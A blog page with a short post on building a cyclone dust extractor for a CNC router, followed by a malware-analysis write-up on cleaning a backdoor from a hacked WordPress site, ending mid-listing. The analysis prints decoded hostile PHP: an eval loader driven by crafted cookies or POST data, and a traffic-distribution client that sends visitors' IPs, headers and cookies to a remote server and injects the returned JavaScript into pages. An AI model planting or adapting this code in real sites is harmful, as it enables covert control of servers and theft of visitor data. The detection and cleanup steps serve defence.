Friday 12 April 2019

Cyclone Dust extractor for CNC router

Recently I got my CNC router up and running (more on that in a later post). The main materials I have been cutting are MDF board and acrylic/poly-carbonate. The acrylic/poly-carbonate cuts very nicely and is easy to clean up. The MDF on the other hand creates lots of fine dust which is difficult to clean and contains formaldehyde which is hazardous to your health. As such I need to employ a system to extract dust from around my CNC machines cutting head. I have a basic nozzle set up on the mill but the vacuum I am using is a retired house model which uses a paper bag which is difficult to empty. To make the system easy to empty I have started designing and building a dust extractor to go inline between my machine and the vacuum.

The cone shape below will sit atop a large paint bucket or other container to collect the dust. I will need a few hose connectors to get air in and out too.

First I started with the dimensions of the cone I wanted and calculated the net so I could lay it out on a flat sheet of flexible material which I will then bend into shape.

I drew out the design using a 1 meter ruler, set square, a nail and some wire for doing the arcs. I used some stainless steel sheet that I had leftover from another project, it is quite thin and flexible so should suit my purposes.

I tried a couple of tools cutting out the design but settled on the tin snips. I was lucky to have material of the right size that would suit this project. If you are looking for materials I suggest finding a metal recycler, they often have large off cuts from industry and will sell by weight of the material.

After a bunch of cutting out and drilling I assembled the cone with some M3 bolts, washer and nuts.

I had the basic cone, now I needed to be able to connect hoses to it and to direct the airflow around the cone. I used fusion 360 to design these parts. The top and bottom plates were easy but I spent a bit of time making the side intake as I was learning some CAD functions I had never used before.

3D printing really suited making the hose connectors as there are a number of complex curves in the parts. It printed with a lot of support material inside the tubes but this was okay as Simplify3D has very good support generation (coming from using slic3r for 2 years).

I used my CNC router to make the plates for the top and bottom of the cone. I wanted these in acrylic and not sheet metal as it will add a lot more rigidity to the cone, handily a friend donated me some poly-carbonate a while ago. The picture on the left shows the machine part way through cutting, I use Fusion 360's CAM to generate the path files. I later realised I wanted a larger opening for the air so I had to set up the part again (right image) and find a reference point to use to relate back to my design. I jogged the machine to two diagonal holes near the center and calculated the center from those, it might not be super precise but was close enough for my purposes. Note that the cutting of these disks could be done with a small handheld router and circle jig.

Here it is all assembled. I need to wrap some tape around the joins to help seal it all up and run some plumbing between the vacuum and router. 

Unfortunately during testing I blocked the inlet hose and my vacuum cleaner imploded the cone! I was a bit distraught, perhaps I could have used some thicker material to construct the cone? In any case I have a solution. I cut out some rings on the router and glued them along the height of the cone to strengthen it.

In some brief tests the bucket gets filled with dust and debris, I have not measured the efficiency yet but I plan to by sucking up a known weight of dust and then weighing what is deposited in the bucket. 

Wednesday 14 November 2018

Removing a Persistent Backdoor on a Compromised Wordpress Site.

Recently one of the Wordpress websites that I sysadmin was hit by an attacker who exploited a serious vulnerability in the WP GDPR Compliance plugin. To start off, I'll explain the techniques I used to to find and remove the backdoors that the attacker left, which can be applied to any and then I'll give you an analysis of some of the cool obfuscation techniques they used in my iteration of the attack. I won't cover anything that has already been covered in this Sucuri article , and this WordFence article because they have already done an excellent job, however the attack that these articles cover is several iterations behind the attack that I was hit with.

Don'worry, this post is pretty long but I've summed it all up in a TL;DR at the end :)

Cleaning Up Trollherten's Backdoor

It seems like there are several variations on this attack. In the iteration of the attack covered by the Sucuri and WordFence articles, the attacker used a malicious wp-cache.php file to hide their backdoor. Although the code from this iteration of the attack is very similar to the code I found several layers of obfuscation deep, the iteration of the attack that hit me had evolved to become much more sophisticated and difficult to find, and I had to perform additional steps to remove several backdoors that were left behind.

First of all, if you haven't already you should perform all of the steps outlined in these articles:
  • You should make sure the site is using version 1.4.3 or newer of the WP GDPR Compliance plugin to stay safe
  • You should also disable user registrations and ensure that the default user role is not set to Administrator. This can be accomplished by unchecking the box under Settings > Membership from the WordPress dashboard. You’ll also need to change the role under New User Default Role to Subscriber (or whatever you were using before the attack).
  • Remove any recently created administrator users that shouldn't be there (in my case they were t3trollherten and t2trollherten, the articles mention a superuser as well.)
  • If you discover a wp-cache.php file in the root of your wordpress installation, remove that file too.
Now it's time to hunt for backdoors.

I started off my search by using WordFence's scan feature, which compares all of the plugin, core, and theme files on your site with the plugin author's version of those files to look for where files have been updated or created. This quickly detected a few innocuous looking files that had been added, and one core file that had been changed.

index.php, a file that gets called almost every time a page is loaded, had been modified to include a very suspicious looking string.

@include "\057ho\155e/[redacted]\057pu\142li\143_h\164ml\057wp\055co\156te\156t/\160lu\147in\163/s\150or\164co\144er\057.9\064a9\060d7\141.i\143o";

I would have thought that using WordFence to restore these files back to the un-modified versions would fix everything, however the next day after I had cleaned everything up, I re-scanned the filesystem and found that the backdoor had been re-installed into index.php with a similar looking but different path.

@include "\057hom\145/[redacted]/p\165bli\143_ht\155l/w\160-co\156ten\164/pl\165gin\163/wo\162dpr\145ss-\151mpo\162ter\057.8b\1464b8\061f.i\143o";

We're going to have to go a bit deeper to get rid of the persistence...

Injected @include

In this layer, the attacker has injected an include statement in multiple php files that are either newly created index.php files in existing directories which are accessible externally, or are included during a typical request. in my case these were:
  • cgi-bin/index.php
  • .well-known/pki-validation/index.php
  • .well-known/index.php
  • index.php
  • wp-settings.php
  • wp-cache.php
  • favicons/index.php
  • xero-certs/index.php
Although these files were recently modified or created, their modification time was either reset to an old value so as to avoid detection without calling stat. here is an example stat of index.php which was most certainly modified on 2018-11-14 with the injected include statement. 

  File: '/home/annachandler/public_html/index.php'
  Size: 597             Blocks: 8          IO Block: 4096   regular file
Device: 801h/2049d      Inode: 19107780    Links: 1
Access: (0755/-rwxr-xr-x)  Uid: ( 1002/annachandler)   Gid: ( 1005/annachandler)
Context: unconfined_u:object_r:home_root_t:s0
Access: 2018-11-14 00:02:03.284354669 +0000
Modify: 2018-08-08 14:04:14.000000000 +0000
Change: 2018-11-14 00:02:01.048178609 +0000
 Birth: -


I made a bash script to stat all of the files which match this pattern:

for infected in $(
    find . -type f -exec grep -Hnzl -P '(?s)/\*[\dA-Za-z]+\*/\n\n@include' {} \;
); do stat $infected; done

You should manually check for this import statement in each file that matches this pattern. The information from stat is useful for building up a timeline of when you were infected. This is one of many layers, so skip ahead to each cleanup section if you're only after cleanup instructions.

How it works

The include string used octal escapes to obfuscate a path to an '.ico' file within a random plugin.

@include "/home/[redacted]/public_html/wp-content/plugins/shortcoder/.94a90d7a.ico";

I'll cover what this file does in the next section.

Polymorphic Polyglot .ico

"Surely PHP can't just run an image file like that" you're probably thinking. Well, this is no ordinary image file, It's a polymorphic polyglot , and since the binary file starts with the magic <?php opening tag, php can include the file as if it were a php file, regardless of its extension. This means that many scanners would not even scan for the file.


Without the php files to call them, these .ico files are pretty harmless, but you can use this script to discover them. Note: There will be some false positives.

for infected in $(
    find . -regextype egrep -regex '.*/[a-z]+.ico' -exec grep -Hnzl '^<?php' {} \;
); do stat $infected; done

How it Works

Here is what the file contents look like.

> cat .94a90d7a.ico | hexdump -C
00000000  3c 3f 70 68 70 0a 24 5f  78 79 6b 70 6c 6a 38 20  |<?php.$_xykplj8 |
00000010  3d 20 62 61 73 65 6e 61  6d 65 2f 2a 71 2a 2f 28  |= basename/*q*/(|
00000020  2f 2a 70 71 2a 2f 74 72  69 6d 2f 2a 30 2a 2f 28  |/*pq*/trim/*0*/(|
00000030  2f 2a 30 2a 2f 70 72 65  67 5f 72 65 70 6c 61 63  |/*0*/preg_replac|
00000040  65 2f 2a 66 6e 6c 68 74  2a 2f 28 2f 2a 31 72 76  |e/*fnlht*/(/*1rv|
00000050  2a 2f 72 61 77 75 72 6c  64 65 63 6f 64 65 2f 2a  |*/rawurldecode/*|
00000060  31 63 68 36 2a 2f 28 2f  2a 66 63 2a 2f 22 25 32  |1ch6*/(/*fc*/"%2|
00000070  46 25 35 43 25 32 38 2e  25 32 41 25 32 34 25 32  |F%5C%28.%2A%24%2|
00000080  46 22 2f 2a 6c 7a 2a 2f  29 2f 2a 75 66 2a 2f 2c  |F"/*lz*/)/*uf*/,|
00000090  20 27 27 2c 20 5f 5f 46  49 4c 45 5f 5f 2f 2a 71  | '', __FILE__/*q|
000000a0  38 65 79 2a 2f 29 2f 2a  6a 6c 30 68 31 2a 2f 2f  |8ey*/)/*jl0h1*//|
000000b0  2a 31 79 7a 63 77 2a 2f  29 2f 2a 6b 6f 6e 68 72  |*1yzcw*/)/*konhr|
000000c0  2a 2f 2f 2a 79 2a 2f 29  2f 2a 62 2a 2f 3b 24 5f  |*//*y*/)/*b*/;$_|
000000d0  65 38 31 67 34 78 20 3d  20 22 47 5f 25 31 34 49  |e81g4x = "G_%14I|
000000e0  25 31 38 54 25 30 31 51  25 30 38 25 34 30 25 30  |%18T%01Q%08%40%0|
000000f0  43 25 30 37 47 25 30 39  4a 25 34 30 25 31 33 25  |C%07G%09J%40%13%|
00000100  35 43 51 25 30 39 68 25  30 32 41 25 30 37 25 31  |5CQ%09h%02A%07%1|
00007a60  44 25 31 43 44 25 31 37  25 34 30 45 43 4b 25 35  |D%1CD%17%40ECK%5|
00007a70  44 54 57 25 31 35 25 34  30 42 25 30 30 59 48 25  |DTW%15%40BYH%|
00007a80  30 37 52 69 25 31 32 22  3b 65 76 61 6c 2f 2a 6a  |07Ri%12";eval/*j|
00007a90  79 33 71 2a 2f 28 2f 2a  61 32 2a 2f 72 61 77 75  |y3q*/(/*a2*/rawu|
00007aa0  72 6c 64 65 63 6f 64 65  2f 2a 75 2a 2f 28 2f 2a  |rldecode/*u*/(/*|
00007ab0  72 35 6a 7a 2a 2f 24 5f  65 38 31 67 34 78 2f 2a  |r5jz*/$_e81g4x/*|
00007ac0  6f 77 61 2a 2f 29 2f 2a  32 69 33 62 2a 2f 20 5e  |owa*/)/*2i3b*/ ^|
00007ad0  20 73 75 62 73 74 72 2f  2a 6e 74 68 69 2a 2f 28  | substr/*nthi*/(|
00007ae0  2f 2a 6b 2a 2f 73 74 72  5f 72 65 70 65 61 74 2f  |/*k*/str_repeat/|
00007af0  2a 35 6a 75 6d 2a 2f 28  2f 2a 72 2a 2f 24 5f 78  |*5jum*/(/*r*/$_x|
00007b00  79 6b 70 6c 6a 38 2c 20  2f 2a 61 68 62 74 6d 2a  |ykplj8, /*ahbtm*|
00007b10  2f 28 2f 2a 38 67 7a 2a  2f 73 74 72 6c 65 6e 2f  |/(/*8gz*/strlen/|
00007b20  2a 62 65 72 63 38 2a 2f  28 2f 2a 38 35 7a 2a 2f  |*berc8*/(/*85z*/|
00007b30  24 5f 65 38 31 67 34 78  2f 2a 73 30 78 72 2a 2f  |$_e81g4x/*s0xr*/|
00007b40  29 2f 2a 64 74 2a 2f 2f  73 74 72 6c 65 6e 2f 2a  |)/*dt*//strlen/*|
00007b50  33 79 72 2a 2f 28 2f 2a  7a 67 68 32 2a 2f 24 5f  |3yr*/(/*zgh2*/$_|
00007b60  78 79 6b 70 6c 6a 38 2f  2a 6b 39 2a 2f 29 2f 2a  |xykplj8/*k9*/)/*|
00007b70  66 2a 2f 2f 2a 65 7a 77  38 2a 2f 29 2f 2a 34 6f  |f*//*ezw8*/)/*4o|
00007b80  37 74 2a 2f 20 2b 20 31  2f 2a 32 61 63 6b 2a 2f  |7t*/ + 1/*2ack*/|
00007b90  29 2f 2a 61 66 36 73 2a  2f 2c 20 30 2c 20 73 74  |)/*af6s*/, 0, st|
00007ba0  72 6c 65 6e 2f 2a 78 2a  2f 28 2f 2a 65 39 78 6e  |rlen/*x*/(/*e9xn|
00007bb0  74 2a 2f 24 5f 65 38 31  67 34 78 2f 2a 61 77 6f  |t*/$_e81g4x/*awo|
00007bc0  30 76 2a 2f 29 2f 2a 32  70 79 6b 2a 2f 2f 2a 6b  |0v*/)/*2pyk*//*k|
00007bd0  2a 2f 29 2f 2a 38 2a 2f  2f 2a 34 2a 2f 29 2f 2a  |*/)/*8*//*4*/)/*|
00007be0  62 74 69 2a 2f 3b 0a 0a  0a 2f 2f 63 30 31 61 64  |bti*/;...//c01ad|
00007bf0  31 37 65 66 61 61 36 32  66 36 65 34 35 35 33 61  |17efaa62f6e4553a|
00007c00  31 32 30 39 61 33 34 38  64 64 30 67 38 61 25 33  |1209a348dd0g8a%3|
00007c10  44 25 32 46 25 32 30 39  34 71 70 2d 63 76 69 39  |D%2F%2094qp-cvi9|
00007c20  75 6a 31 25 32 42 25 33  44 68 63 30 25 33 46 25  |uj1%2B%3Dhc0%3F%|

The first part of the file decrypts and evals some php code, which then decrypts a comment at the end of the file containing a serialised object that the malware uses to store state.

This first stage uses XOR encryption where the key material is based on the current __FILE__ , and the ciphertext is a large urlencoded string. This encryption method breaks most automatic de-obfuscation tools that I tried, so in order to decrypt it, I had to replace __FILE__ with the filename and the eval with print_r and run in a php sandbox. Here is the decrypted first stage with some comments and my interpretation of what the variables mean.

if (!defined('stream_context_create '))
    define('stream_context_create ', 1);
    @ini_set('error_log', NULL);
    @ini_set('log_errors', 0);
    @ini_set('max_execution_time', 0);

        define("PHP_EOL", "\n");

        define("DIRECTORY_SEPARATOR", "/");

    if (!defined('file_put_contents '))
        define('file_put_contents ', 1);

        $uuid = 'e2af0b4b-3817-4cd6-88e8-8167bb8abf6c';
        global $uuid;

        function spicy_b64_decode($encoded) {

            if (strlen($encoded) < 4)
                return "";

            $chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";

            $char_values = str_split($chars);
            $char_values = array_flip($char_values);

            $index = 0;
            $decoded = "";

            $encoded = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $encoded);

            do {
                $enc_byte_a = $char_values[$encoded[$index++]];
                $enc_byte_b = $char_values[$encoded[$index++]];
                $enc_byte_c = $char_values[$encoded[$index++]];
                $enc_byte_d = $char_values[$encoded[$index++]];

                $dec_byte_a = ($enc_byte_a << 2) | ($enc_byte_b >> 4);
                $dec_byte_b = (($enc_byte_b & 15) << 4) | ($enc_byte_c >> 2);
                $dec_byte_c = (($enc_byte_c & 3) << 6) | $enc_byte_d;
                $decoded = $decoded . chr($dec_byte_a);
                if ($enc_byte_c != 64) {
                    $decoded = $decoded . chr($dec_byte_b);
                if ($enc_byte_d != 64) {
                    $decoded = $decoded . chr($dec_byte_c);
            } while ($index < strlen($encoded));
            return $decoded;

        if (!function_exists('file_put_contents'))
            function file_put_contents($tvdhorx, $mjlrdqx, $vvcgmrb = False)
                $qqgovy = $vvcgmrb == 8 ? 'a' : 'w';
                $yuhieu = @fopen($tvdhorx, $qqgovy);
                if ($yuhieu === False)
                    return 0;
                    if (is_array($mjlrdqx)) $mjlrdqx = implode($mjlrdqx);
                    $xjcxyhb = fwrite($yuhieu, $mjlrdqx);
                    return $xjcxyhb;

        if (!function_exists('file_get_contents'))
            function file_get_contents($trxrfats)
                $tjymix = fopen($trxrfats, "r");
                $edpmohh = fread($tjymix, filesize($trxrfats));

                return $edpmohh;
        function this_filename()
            return trim(preg_replace("/\(.*\$/", '', __FILE__));

        function xor_two_strings($value, $xor_key)
            $result = "";

            for ($index_l=0; $index_l<strlen($value);)
                for ($index_r=0; $index_r<strlen($xor_key) && $index_l<strlen($value); $index_r++, $index_l++)
                    $result .= chr(ord($value[$index_l]) ^ ord($xor_key[$index_r]));

            return $result;

        function xor_key_then_uuid($value, $xor_key)
            global $uuid;

            return xor_two_strings(xor_two_strings($value, $xor_key), $uuid);
        function xor_uuid_then_key($value, $xor_key)
            global $uuid;

            return xor_two_strings(xor_two_strings($value, $uuid), $xor_key);

        function get_stored_object()
            $file_contents = @file_get_contents(this_filename());

            $storage_location = strpos($file_contents, md5(this_filename()));
            if ($storage_location !== FALSE)
                $stored_ciphertext = substr($file_contents, $storage_location + 32);
                $stored_object = @unserialize(xor_key_then_uuid(rawurldecode($stored_ciphertext), md5(this_filename())));
                $stored_object = Array();

            return $stored_object;

        function set_stored_object($stored_object)
            $stored_ciphertext = rawurlencode(xor_uuid_then_key(@serialize($stored_object), md5(this_filename())));
            $file_contents = @file_get_contents(this_filename());

            $storage_location = strpos($file_contents, md5(this_filename()));
            if ($storage_location !== FALSE)
                $stored_ciphertext = substr($file_contents, $storage_location + 32);
                $file_contents = str_replace($stored_ciphertext, $stored_ciphertext, $file_contents);

                $file_contents = $file_contents . "\n\n//" . md5(this_filename()) . $stored_ciphertext;

            @file_put_contents(this_filename(), $file_contents);

        function plugin_add($plugin_key, $plugin_value)
            $stored_object = get_stored_object();

            $stored_object[$plugin_key] = spicy_b64_decode($plugin_value);


        function plugin_remove($plugin_key)
            $stored_object = get_stored_object();



        function eval_plugins($plugin_key=NULL)
            foreach (get_stored_object() as $stored_plugin_key=>$plugin_value)
                if ($plugin_key)
                    if (strcmp($plugin_key, $stored_plugin_key) == 0)

        foreach (array_merge($_COOKIE, $_POST) as $key => $value)
            $value = @unserialize(xor_key_then_uuid(spicy_b64_decode($value), $key));

            if (isset($value['ak']) && $uuid==$value['ak'])
                if ($value['a'] == 'i')
                    $debug_info = Array(
                        'pv' => @phpversion(),
                        'sv' => '2.0-1',
                        'ak' => $value['ak'],
                    echo @serialize($debug_info);
                elseif ($value['a'] == 'e')
                elseif ($value['a'] == 'plugin')
                    if($value['sa'] == 'add')
                        plugin_add($value['p'], $value['d']);
                    elseif($value['sa'] == 'rem')
                echo $value['ak'];


The first stage loader looks for a specially crafted key/value pair in $_COOKIE or $_POST which is double-xor encoded with key material that is unique to this file. This value deserializes to an array that kind of functions as a command. There is a command to print debugging info, a command to eval php, and it can even store and remove what the malware refers to as 'plugins' which are lines of code that get eval'd every the ico file is included. I thought this was a pretty badass.

The amount of encryption used made it difficult to analyse, and since the key material is randmly generated, it is probably unique to each website infected. Adding to the difficulty in reversing the file was the fact that the location of the stored data is stored in a location determined by the md5 hash of the file itself, so any modification of the file would break your ability to retrieve the stored data.

None the less, I was able to modify a decoded version of the file slightly to trick it in to decoding an un-touched version of the file, and this the command array that I ended up with

    [tds] =>
 $tfwqrxccyn = 8013; function jsyhlnu($qufmmejn, $hbhxqlo){$pdoalklrd = ''; for($i=0; $i < strlen($qufmmejn); $i++){$pdoalklrd .= isset($hbhxqlo[$qufmmejn[$i]]) ? $hbhxqlo[$qufmmejn[$i]] : $qufmmejn[$i];}
$wjfrld="rawurl" . "decode";return $wjfrld($pdoalklrd);}
$qoqwp = '%zP%za%zP%zaHF%nz%nr%nyt5FHp5t%nr%nfFHs5_05G_m4pG5pGw'.
$cilthzrd = Array('1'=>'w', '0'=>'g', '3'=>'m', '2'=>'y', '5'=>'e', '4'=>'o', '7'=>'a', '6'=>'N', '9'=>'Z', '8'=>'9', 'A'=>'3', 'C'=>'E', 'B'=>'K', 'E'=>'B', 'D'=>'p', 'G'=>'t', 'F'=>'f', 'I'=>'r', 'H'=>'i', 'K'=>'O', 'J'=>'S', 'M'=>'L', 'L'=>'Y', 'O'=>'X', 'N'=>'V', 'Q'=>'4', 'P'=>'D', 'S'=>'T', 'R'=>'F', 'U'=>'J', 'T'=>'k', 'W'=>'M', 'V'=>'z', 'Y'=>'u', 'X'=>'H', 'Z'=>'C', 'a'=>'A', 'c'=>'5', 'b'=>'Q', 'e'=>'q', 'd'=>'h', 'g'=>'I', 'f'=>'7', 'i'=>'P', 'h'=>'b', 'k'=>'v', 'j'=>'R', 'm'=>'c', 'l'=>'6', 'o'=>'x', 'n'=>'2', 'q'=>'U', 'p'=>'n', 's'=>'l', 'r'=>'8', 'u'=>'j', 't'=>'d', 'w'=>'s', 'v'=>'G', 'y'=>'1', 'x'=>'W', 'z'=>'0');
eval/*i*/(jsyhlnu($qoqwp, $cilthzrd));

Warning: make sure you only play with your malware in a sandboxed environment. I like to use Docker, but a full VM would be even more secure.

After another deobfuscation we end up with

if (!defined('file_get_contents '))
    define('file_get_contents ', 1);

    class TdsClient
        private $config;
        private $config_dict;

        public function __construct($config, $uid)
            $this->config = $config;
            $this->uid = $uid;

        private function _get_config()
            if (empty($this->config_dict))
                $this->config_dict = @unserialize($this->_decrypt(TdsClient::b64d($this->config), "tmnyrbtvchx5bny"));

            return $this->config_dict;

        private function _http_query_curl($url, $content)
            if (!function_exists('curl_version'))
                return "";

            $ch = curl_init();

            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 3);
            curl_setopt($ch, CURLOPT_TIMEOUT, 5);

            if (!empty($content))
                curl_setopt($ch, CURLOPT_POST, 1);
                curl_setopt($ch, CURLOPT_POSTFIELDS, $content);

            curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);

            $server_output = curl_exec($ch);

            return $server_output;

        private function _http_query_native($url, $content)
            $context = Array('http' => Array(
                'method' => 'GET',
                'timeout' => 5,
                'ignore_errors' => true));

            if (!empty($content))
                $context['http']['method'] = 'POST';
                $context['http']['header'] = 'Content-type: application/x-www-form-urlencoded';
                $context['http']['content'] = $content;
                $context['http']['timeout'] = 5;
            $context = stream_context_create($context);

            return @file_get_contents($url, FALSE, $context);

        private function _http_query($url, $query)
            $url = str_replace("[URL]", "", $url);

            $content = $this->_http_query_curl($url, $query);
            if (!$content)
                $content = $this->_http_query_native($url, $query);

            return $content;

        private function _get_request_ip()
            $ip_keys = array('REMOTE_ADDR', );
            foreach ($ip_keys as $key)
                if (array_key_exists($key, $_SERVER) === TRUE)
                    foreach (explode(',', $_SERVER[$key]) as $ip)
                        $ip = trim($ip);
                        if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== FALSE)
                            return $ip;

            return "";

        private function _query()
            $tds_config = $this->_get_config();

            $ip = $tds_config["tds_ip"];
            $port = $tds_config["tds_port"];
            $path = $tds_config["tds_path"];

            $route = "yor8afx3";
            if (!empty($tds_config["route"]))
                $route = $tds_config["route"];

            $query = Array();
            $query['i'] = $this->_get_request_ip();
            $query['p'] = @$_SERVER['HTTP_HOST'] . @$_SERVER['REQUEST_URI'];
            $query['u'] = @$_SERVER['HTTP_USER_AGENT'];
            $query['a'] = @$_SERVER['HTTP_ACCEPT_LANGUAGE'];
            $query['r'] = @$_SERVER['HTTP_REFERER'];
            $query['ae'] = @$_SERVER['HTTP_ACCEPT_ENCODING'];
            $query['aa'] = @$_SERVER['HTTP_ACCEPT'];
            $query['ac'] = @$_SERVER['HTTP_ACCEPT_CHARSET'];
            $query['c'] = @$_SERVER['HTTP_CONNECTION'];
            $query['co'] = @serialize(@$_COOKIE);
            $query['cp'] = serialize(Array("a"=>$route, "uid"=>$this->uid));

            $query = http_build_query($query);
            $url = "http://" . $ip . ":" . $port . $path;

            return $this->_http_query($url, $query);

        public function process_request()
            $content = @unserialize($this->_query());

            if (isset($content["options"]))
                foreach ($content["cookies"] as $key => $value_and_ttl)
                    @setcookie($key, $value_and_ttl[0], time() + $value_and_ttl[0], "/", $_SERVER['HTTP_HOST']);

                if (isset($content["options"]["type"]) && $content["options"]["type"]=="inject")
                    $GLOBALS['injectable_js_code'] = TdsClient::b64d($content["data"]);
                    foreach ($content["headers"] as $key => $value)
                        @header("$key: $value");

                    if (strlen($content["data"]) != 0)
                        exit(TdsClient::b64d($content["data"])); # TODO: check if its file

        public function try_process_check_request()
            foreach (array_merge($_COOKIE, $_POST) as $data_key => $data)
                $data = @unserialize($this->_decrypt(TdsClient::b64d($data), $data_key));

                if (isset($data['ak']) && $this->uid==$data['ak'])
                    if ($data['sa'] == 'check')
                        return TRUE;

            return FALSE;

        public function can_process_request()
            $tds_config = $this->_get_config();

            eval("function is_acceptable_tds_request(){\n" . $tds_config["tds_filter"] . "\n}");

            if (function_exists("is_acceptable_tds_request"))
                if (!is_acceptable_tds_request())
                    return FALSE;

            return TRUE;

        static public function postrender_handler($buffer)
            // prepare page content
            $content = $buffer;
            $js_code = $GLOBALS['injectable_js_code'];

            if (strpos(strtolower($content), "</head>") !== FALSE)
                $content = str_replace("</head>", $js_code . "\n" . "</head>", $content);
            elseif (strpos(strtolower($content), "</body>") !== FALSE)
                $content = str_replace("</body>", $js_code . "\n" . "</body>", $content);

            return $content;

        private function _decrypt_phase($data, $key)
            $out_data = "";

            for ($i = 0; $i < strlen($data);) {
                for ($j = 0; $j < strlen($key) && $i < strlen($data); $j++, $i++) {
                    $out_data .= chr(ord($data[$i]) ^ ord($key[$j]));

            return $out_data;

        private function _decrypt($data, $key)
            return $this->_decrypt_phase($this->_decrypt_phase($data, $key), $this->uid);

        static public function b64d($input)
            if (strlen($input) < 4)
                return "";

            $keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";

            $keys = str_split($keyStr);
            $keys = array_flip($keys);

            $i = 0;
            $output = "";

            $input = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $input);

            do {
                $enc1 = $keys[$input[$i++]];
                $enc2 = $keys[$input[$i++]];
                $enc3 = $keys[$input[$i++]];
                $enc4 = $keys[$input[$i++]];

                $chr1 = ($enc1 << 2) | ($enc2 >> 4);
                $chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2);
                $chr3 = (($enc3 & 3) << 6) | $enc4;
                $output = $output . chr($chr1);
                if ($enc3 != 64) {
                    $output = $output . chr($chr2);
                if ($enc4 != 64) {
                    $output = $output . chr($chr3);
            } while ($i < strlen($input));
            return $output;

    $uid = 'a34ef15e-e06c-433a-b15c-b6d5b9abf4f7';
    $config = 'dGRvJm8geyZ0LzpsdDcoZWV8bihpY3N7PTonJG06NzR7dyxvNzEzfkF0OHkgM2YrIG1sZX0yZyF3bTxkLHl+KGMEc31pKHtwIWY+KzJtey1teCB1I3FeAhhKD0oNFzYdUxFSGElYXEFaFEMWXGYLMTFvfTpfQgpoNzwmaiRuKWArdT9HUx1PF0oFQzdMFEQEVgpCRE0YFVcPXQwTQhoQHmwJZiw0PS4wbzZ2LmdyLUUAE1oYUAwBPlwHFUMRXw1FRBEIFXxSeDB3HkYLWBgUBVdiXVtcHUsdWhYDL0MtdyppLH0eWxMFAmwPT2EJXS10Nnt4KWQuZ3olGl9OUBh2HAEiQR1CGy8zK31kPC1sICd7E0IKRBZCD0ErS1hLEFQMSwQETlEVGFNMIANmNzwmajFxPHMNMHpsYzA1ZiB/YXFqJHUsayR1e2opKGw2bzI9cz4lJyomLGQhN2sxZzB0IHcxdXkhN38icCwme3s8Jn8rcSVwbyEiMyJ2J3UyM3Ymdj00Nn4jfXNqJHoyaSQkZmJtOW8xaTgqZjI3LSBxMXNnK343dzVkKWInZmRsOHtwfzsscm49I3gkbQQ6f3wuOHo0eSsAH1QdQAVVBj1EV1hPH14KXRMJUFcXE0k/WndmGkohR0sjeTRyL35sdSpzYUkWVENBex1edEYLCgIuLnomfSE8N3M2KTk1NiRvblJteDd1bjN2KT18CiY9Yjh1OzhzZjwSIylwaTtiYHIvcz8Pb3EhaTZ+cCBgMiBUY3A6dmpwIT4jeFd6aTErNXh6Z2ItGTR8O34sOXwmbDd0STp9MXItJHFtNiQDYn0/dmlyJ3UmfgE2KWs5YzZjNmcoATR8bWswZyd5P24KP3c7OzI/K35oOBx0IyJsdjN+fTw3XHZ3MiBwNDAjb0x6fTN1KC9kYS9sfSg1b3Rwd2tzYG86LmAfNTRuMTt9JTp0eX8+SXM2c3M6L09gfSBzLmRhZ3kgCD8kMUljYyAyO3kkcHxUYjtyOWVwIkIrIHsIPDw8dzY4aGIuZT0rCyI1cjZjIkx0OjMpfDktX3I6YVdyL3ghZSM7fwkufno0eShwED4uci1uM3N/d35+NGQrRG55NjxyejJoby4ibiE+Jyhtdn11cTs/LyBwLX0ne0wqMHgkJmwtJy9nHScleScwS3R4fGd0ZiwpMi5naSFhJGxzBBAoWwJuNX56dXJzaWM8aC9cbCI5JDYncGI2JnA2Jm4Rc1MTUF1eCEYOMhcSXEtBBF8LRA8RPQJ/bkgIZTokd3ZZHHsqbDB7NTQlLnt2di8jMU0eAEQKKktfK3UhcSAVU3JSRhxFZCVzKGhiI1hNFU5iOnolKyhof2l8dAE/djQyaHpwYyVgZzk3ZSB8LH87fT50KGB2Mjg7MTJqNWwwQyskNWAkYXpndS5+cyB0LWo3di10OCNmdDMz';

    $client = new TdsClient($config, $uid);

    if ($client->try_process_check_request())
        echo "<tds>".PHP_EOL;
        echo $uid;
        echo "</tds>".PHP_EOL;
        if ($client->can_process_request())

The client config when decoded looks like this

client configArray
    [route] => f57tvsaz
    [tds_port] => 80
    [tds_filter] => if ($_SERVER['REQUEST_METHOD'] != 'GET' || empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) || strpos($_SERVER["HTTP_REFERER"], $_SERVER["HTTP_HOST"]) !== FALSE)
    return FALSE;

if (empty($_SERVER['HTTP_USER_AGENT']) || preg_match('/(yandexbot|baiduspider|archiver|track|crawler|google|msnbot|ysearch|search|bing|ask|indexer|majestic|scanner|spider|facebook|Bot)/i', $_SERVER['HTTP_USER_AGENT']))
    return FALSE;

foreach (array('/\.css/', '/\.swf/', '/\.ashx/', '/\.docx/', '/\.doc/', '/\.xls/', '/\.xlsx/', '/\.xml/', '/\.jpg/', '/\.pdf/', '/\.png/', '/\.gif/', '/\.ico/', '/\.js/', '/\.txt/', '/ajax/', '/cron\.php/', '/wp\-login\.php/', '/\/wp\-includes\//', '/\/wp\-admin/', '/\/admin\//', '/\/wp\-content\//', '/\/administrator\//', '/phpmyadmin/i', '/xmlrpc\.php/', '/\/feed\//', ) as $regex)
    if (preg_match($regex, @$_SERVER['REQUEST_URI']))
        return FALSE;

return TRUE;
    [tds_path] => /example.php
    [tds_ip] =>

Some pretty interesting stuff.
I'll have a look at this properly later, but it looks like it's sending data about each request off to a server which responds with what javascript to inject onto the page. Looks pretty nasty!

TODO: analysis

Other Backdoors

I found a couple of other backdoors scattered throughout the site with a lot less obfuscation. 


When decoded looks like this

$gfaujmp = '_x7cH290n\'ugsob*#18d6mlip4t3yva-kre';
$hjuzajd = array(
    0 => 'H*',
    1 => '#',
    2 => '17a6ee0b-38b4-4673-8d91-0bc0348e0326',
    3 => 'count',
    4 => 'str_repeat',
    5 => 'explode',
    6 => 'substr',
    7 => 'array_merge',
    8 => 'strlen',
